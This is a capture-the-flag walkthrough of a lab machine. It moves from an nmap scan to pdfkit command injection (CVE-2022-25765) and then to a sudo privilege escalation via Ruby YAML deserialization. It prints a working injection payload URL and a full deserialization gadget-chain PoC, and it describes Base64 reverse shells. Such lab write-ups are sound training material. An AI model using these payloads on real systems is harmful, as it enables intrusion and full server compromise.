Nmap
Like always, I’m going to scan the IP Address by using nmap but I’m going to scan the full port first. Then, I’m going to scan the only open ports.
# Nmap 7.95 scan initiated Sat Feb 8 01:56:28 2025 as: /usr/lib/nmap/nmap -p22,80 -sCV -oN nmap/scripts.txt 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up (0.086s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 8 01:56:37 2025 -- 1 IP address (1 host up) scanned in 8.61 seconds
The Nmap scan is complete. Only two ports are open, SSH
and HTTP
. Since I don’t have any credentials, I’ll ignore port 22
.
Additionally, Nmap identified the machine’s hostname as precious.htb
, so I added it to my /etc/hosts
file.
Http
Next, I navigated to http://precious.htb
, which is a simple website that converts web page to PDF by taking a URL as input.
To test its functionality, I started a Python server on my machine with a simple “hello world” message in index.html
. After submitting my server’s URL to the converter, it automatically generated a PDF file and opened it in a new tab.
Since the server downloaded the PDF file, I used the strings
command to inspect its contents. I found something particularly interesting, the PDF was generated using pdfkit
version v0.8.6
.
Pdfkit: Command Injection
A quick Google search led me to this Snyk security advisory, which confirmed that this version of pdfkit
is vulnerable to command injection
. The vulnerability is assigned CVE-2022-25765.
The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.
The provided PoC demonstrated the vulnerability by making the server sleep for 5 seconds. Instead, I modified it to ping my machine.
The payload:
http://10.10.14.20:8000/?name=#{'%20`ping -c 1 10.10.14.20`'}
Shell: Ruby
Since the command injection worked, I sent a Base64-encoded bash reverse shell payload. It successfully connected back to my machine, giving me a shell as the ruby
user.
During enumeration, I found credentials for henry
inside /home/ruby/.bundle
.
SSH: Henry
Without wasting time, I used the discovered credentials to SSH
into the machine as henry
. Surprisingly, it worked!
As always, the first thing I checked was sudo permissions with sudo -l
. It revealed that henry
could execute the update_dependencies.rb
script with sudo
privileges.
update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
The script loads and parses a YAML file (dependencies.yml
) and compares the installed gem versions with the specified ones.
I found this blog post explaining how to exploit Ruby’s YAML deserialization to achieve RCE
.
POC
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
I tested the PoC, and it worked.
Shell: Root
Since the PoC was successful, I modified it to include a Base64-encoded bash reverse shell payload, similar to the one I used earlier. After executing the script, I got a root
shell.